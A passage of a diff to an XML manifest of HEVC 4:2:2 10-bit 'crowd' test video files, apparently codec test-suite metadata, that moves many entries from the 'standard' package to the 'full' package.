+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11304344,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_prllmerge5.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11409408,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11409408,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_profilenone.mp4">
     <value>mime=video/hevc,size=1919282,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=23974744,package=full</value>
@@ -14823,22 +14823,22 @@
     <value>mime=video/hevc,size=260027576,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=223943,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2783024,package=standard</value>
+    <value>mime=video/hevc,size=223943,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2783024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp51cb12cr12.mp4">
-    <value>mime=video/hevc,size=183741,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2280472,package=standard</value>
+    <value>mime=video/hevc,size=183741,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2280472,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp51cb12crm12.mp4">
-    <value>mime=video/hevc,size=198085,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2459768,package=standard</value>
+    <value>mime=video/hevc,size=198085,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2459768,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp51cbm12cr12.mp4">
-    <value>mime=video/hevc,size=237563,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2953248,package=standard</value>
+    <value>mime=video/hevc,size=237563,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2953248,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=244195,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=3036144,package=standard</value>
+    <value>mime=video/hevc,size=244195,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=3036144,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=183737,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2280448,package=standard</value>
+    <value>mime=video/hevc,size=183737,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2280448,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_rect0.mp4">
     <value>mime=video/hevc,size=1919285,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=23974784,package=full</value>
@@ -14850,10 +14850,10 @@
     <value>mime=video/hevc,size=1920193,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=23986136,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_saobndry1.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11291200,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11291200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_sbh0_sps15_pps63.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11482912,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11482912,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_sbh1.mp4">
     <value>mime=video/hevc,size=1919285,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=23974784,package=full</value>
@@ -14904,13 +14904,13 @@
     <value>mime=video/hevc,size=1927431,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24076608,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_transquant1.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_transskip0.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11281120,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11281120,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_transskip0_pps15.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11281320,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=11281320,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_tuinterdepth2.mp4">
     <value>mime=video/hevc,size=1937426,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24201544,package=full</value>
@@ -14976,196 +14976,196 @@
     <value>mime=video/hevc,size=2614941,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=32674032,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_100kbps.mp4">
-    <value>mime=video/hevc,size=28591,width=640,height=360,frame-rate=50,profile=,level=,bitrate=340832,package=standard</value>
+    <value>mime=video/hevc,size=28591,width=640,height=360,frame-rate=50,profile=,level=,bitrate=340832,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_10mbps.mp4">
     <value>mime=video/hevc,size=785652,width=640,height=360,frame-rate=50,profile=,level=,bitrate=9804096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_1mbps.mp4">
-    <value>mime=video/hevc,size=74245,width=640,height=360,frame-rate=50,profile=,level=,bitrate=911512,package=standard</value>
+    <value>mime=video/hevc,size=74245,width=640,height=360,frame-rate=50,profile=,level=,bitrate=911512,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_20mbps.mp4">
     <value>mime=video/hevc,size=1580929,width=640,height=360,frame-rate=50,profile=,level=,bitrate=19745056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_adaptiveqp0.mp4">
-    <value>mime=video/hevc,size=331650,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4129072,package=standard</value>
+    <value>mime=video/hevc,size=331650,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4129072,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_adaptiveqp2.mp4">
-    <value>mime=video/hevc,size=328348,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4087800,package=standard</value>
+    <value>mime=video/hevc,size=328348,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4087800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_qpg16.mp4">
-    <value>mime=video/hevc,size=118633,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1466360,package=standard</value>
+    <value>mime=video/hevc,size=118633,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1466360,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_qpg64.mp4">
-    <value>mime=video/hevc,size=117021,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1446224,package=standard</value>
+    <value>mime=video/hevc,size=117021,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1446224,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_qpg8.mp4">
-    <value>mime=video/hevc,size=116569,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1440560,package=standard</value>
+    <value>mime=video/hevc,size=116569,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1440560,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=41158,width=640,height=360,frame-rate=50,profile=,level=,bitrate=497920,package=standard</value>
+    <value>mime=video/hevc,size=41158,width=640,height=360,frame-rate=50,profile=,level=,bitrate=497920,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_5mbps.mp4">
     <value>mime=video/hevc,size=387292,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4824600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_allidr.mp4">
-    <value>mime=video/hevc,size=305775,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3809736,package=standard</value>
+    <value>mime=video/hevc,size=305775,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3809736,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_altidr.mp4">
-    <value>mime=video/hevc,size=330336,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4115744,package=standard</value>
+    <value>mime=video/hevc,size=330336,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4115744,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_amp0.mp4">
-    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=standard</value>
+    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_amp1.mp4">
-    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=standard</value>
+    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_aud.mp4">
-    <value>mime=video/hevc,size=115322,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1424968,package=standard</value>
+    <value>mime=video/hevc,size=115322,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1424968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_b_adapt_0.mp4">
-    <value>mime=video/hevc,size=102958,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1271024,package=standard</value>
+    <value>mime=video/hevc,size=102958,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1271024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_b_adapt_1.mp4">
-    <value>mime=video/hevc,size=130457,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1614160,package=standard</value>
+    <value>mime=video/hevc,size=130457,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1614160,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_beta0.mp4">
-    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=standard</value>
+    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_beta4.mp4">
-    <value>mime=video/hevc,size=115265,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1424248,package=standard</value>
+    <value>mime=video/hevc,size=115265,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1424248,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_beta6.mp4">
-    <value>mime=video/hevc,size=114952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1420336,package=standard</value>
+    <value>mime=video/hevc,size=114952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1420336,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_beta6_tcm6.mp4">
-    <value>mime=video/hevc,size=116021,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1433680,package=standard</value>
+    <value>mime=video/hevc,size=116021,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1433680,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_betam4.mp4">
-    <value>mime=video/hevc,size=115394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425856,package=standard</value>
+    <value>mime=video/hevc,size=115394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425856,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_betam6.mp4">
-    <value>mime=video/hevc,size=115929,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1432544,package=standard</value>
+    <value>mime=video/hevc,size=115929,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1432544,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_betam6_tc6.mp4">
-    <value>mime=video/hevc,size=115489,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1427032,package=standard</value>
+    <value>mime=video/hevc,size=115489,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1427032,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_cnstrn_intra.mp4">
-    <value>mime=video/hevc,size=116427,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1438784,package=standard</value>
+    <value>mime=video/hevc,size=116427,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1438784,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_cra16.mp4">
-    <value>mime=video/hevc,size=125872,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1556032,package=standard</value>
+    <value>mime=video/hevc,size=125872,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1556032,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_crf0.mp4">
     <value>mime=video/hevc,size=3356282,width=640,height=360,frame-rate=50,profile=,level=,bitrate=41936968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=9432,width=640,height=360,frame-rate=50,profile=,level=,bitrate=101344,package=standard</value>
+    <value>mime=video/hevc,size=9432,width=640,height=360,frame-rate=50,profile=,level=,bitrate=101344,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_ctb16.mp4">
-    <value>mime=video/hevc,size=116986,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1445784,package=standard</value>
+    <value>mime=video/hevc,size=116986,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1445784,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_ctb32.mp4">
-    <value>mime=video/hevc,size=115894,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1432120,package=standard</value>
+    <value>mime=video/hevc,size=115894,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1432120,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_fastdecode.mp4">
-    <value>mime=video/hevc,size=115714,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1429872,package=standard</value>
+    <value>mime=video/hevc,size=115714,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1429872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_faster.mp4">
-    <value>mime=video/hevc,size=97211,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1199184,package=standard</value>
+    <value>mime=video/hevc,size=97211,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1199184,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_fast.mp4">
-    <value>mime=video/hevc,size=99674,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1229968,package=standard</value>
+    <value>mime=video/hevc,size=99674,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1229968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_grain.mp4">
-    <value>mime=video/hevc,size=184184,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2285760,package=standard</value>
+    <value>mime=video/hevc,size=184184,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2285760,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_hash_chksum.mp4">
-    <value>mime=video/hevc,size=116029,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1433808,package=standard</value>
+    <value>mime=video/hevc,size=116029,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1433808,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_hash_crc.mp4">
-    <value>mime=video/hevc,size=115837,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1431408,package=standard</value>
+    <value>mime=video/hevc,size=115837,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1431408,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_hash_md5.mp4">
-    <value>mime=video/hevc,size=117181,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1448208,package=standard</value>
+    <value>mime=video/hevc,size=117181,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1448208,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_hrd.mp4">
-    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=standard</value>
+    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_idr16.mp4">
-    <value>mime=video/hevc,size=127483,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1576936,package=standard</value>
+    <value>mime=video/hevc,size=127483,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1576936,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_intraminus1.mp4">
-    <value>mime=video/hevc,size=115334,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425120,package=standard</value>
+    <value>mime=video/hevc,size=115334,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425120,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_lossless.mp4">
     <value>mime=video/hevc,size=9872716,width=640,height=360,frame-rate=50,profile=,level=,bitrate=123392408,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_10.mp4">
-    <value>mime=video/hevc,size=115336,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425144,package=standard</value>
+    <value>mime=video/hevc,size=115336,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425144,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_16.mp4">
-    <value>mime=video/hevc,size=115358,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425408,package=standard</value>
+    <value>mime=video/hevc,size=115358,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425408,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_4.mp4">
-    <value>mime=video/hevc,size=115323,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1424968,package=standard</value>
+    <value>mime=video/hevc,size=115323,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1424968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_5.mp4">
-    <value>mime=video/hevc,size=115323,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1424968,package=standard</value>
+    <value>mime=video/hevc,size=115323,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1424968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_6.mp4">
-    <value>mime=video/hevc,size=115323,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1424968,package=standard</value>
+    <value>mime=video/hevc,size=115323,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1424968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_maxtu16.mp4">
-    <value>mime=video/hevc,size=115684,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1429480,package=standard</value>
+    <value>mime=video/hevc,size=115684,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1429480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_maxtu4.mp4">
-    <value>mime=video/hevc,size=109925,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357512,package=standard</value>
+    <value>mime=video/hevc,size=109925,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357512,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_maxtu8.mp4">
-    <value>mime=video/hevc,size=116555,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1440368,package=standard</value>
+    <value>mime=video/hevc,size=116555,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1440368,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_medium.mp4">
-    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=standard</value>
+    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_merge1.mp4">
-    <value>mime=video/hevc,size=117119,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1447432,package=standard</value>
+    <value>mime=video/hevc,size=117119,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1447432,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_merge3.mp4">
-    <value>mime=video/hevc,size=114858,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1419168,package=standard</value>
+    <value>mime=video/hevc,size=114858,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1419168,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_merge4.mp4">
-    <value>mime=video/hevc,size=114794,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1418368,package=standard</value>
+    <value>mime=video/hevc,size=114794,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1418368,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_merge5.mp4">
-    <value>mime=video/hevc,size=114163,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1410480,package=standard</value>
+    <value>mime=video/hevc,size=114163,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1410480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_mincu16.mp4">
-    <value>mime=video/hevc,size=125326,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1550000,package=standard</value>
+    <value>mime=video/hevc,size=125326,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1550000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_mincu32.mp4">
-    <value>mime=video/hevc,size=141122,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1747448,package=standard</value>
+    <value>mime=video/hevc,size=141122,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1747448,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_nodblk.mp4">
-    <value>mime=video/hevc,size=116053,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1434112,package=standard</value>
+    <value>mime=video/hevc,size=116053,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1434112,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_no_pps_qp_opt.mp4">
-    <value>mime=video/hevc,size=115328,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425048,package=standard</value>
+    <value>mime=video/hevc,size=115328,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_no_pps_reflist_opt.mp4">
-    <value>mime=video/hevc,size=115328,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425048,package=standard</value>
+    <value>mime=video/hevc,size=115328,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_no_vui_hrd.mp4">
-    <value>mime=video/hevc,size=115328,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425048,package=standard</value>
+    <value>mime=video/hevc,size=115328,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_placebo.mp4">
-    <value>mime=video/hevc,size=121616,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1503608,package=standard</value>
+    <value>mime=video/hevc,size=121616,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1503608,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_profilenone.mp4">
-    <value>mime=video/hevc,size=115322,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1424968,package=standard</value>
+    <value>mime=video/hevc,size=115322,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1424968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_psnr.mp4">
-    <value>mime=video/hevc,size=179874,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2231872,package=standard</value>
+    <value>mime=video/hevc,size=179874,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2231872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp0cb12cr12.mp4">
     <value>mime=video/hevc,size=5070290,width=640,height=360,frame-rate=50,profile=,level=,bitrate=63362056,package=full</value>
@@ -15186,172 +15186,172 @@
     <value>mime=video/hevc,size=400280,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4986960,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp39cbm12cr12.mp4">
-    <value>mime=video/hevc,size=106212,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1311080,package=standard</value>
+    <value>mime=video/hevc,size=106212,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1311080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp4.mp4">
     <value>mime=video/hevc,size=5170372,width=640,height=360,frame-rate=50,profile=,level=,bitrate=64613112,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=9347,width=640,height=360,frame-rate=50,profile=,level=,bitrate=100296,package=standard</value>
+    <value>mime=video/hevc,size=9347,width=640,height=360,frame-rate=50,profile=,level=,bitrate=100296,package=full</value>
   </entry>
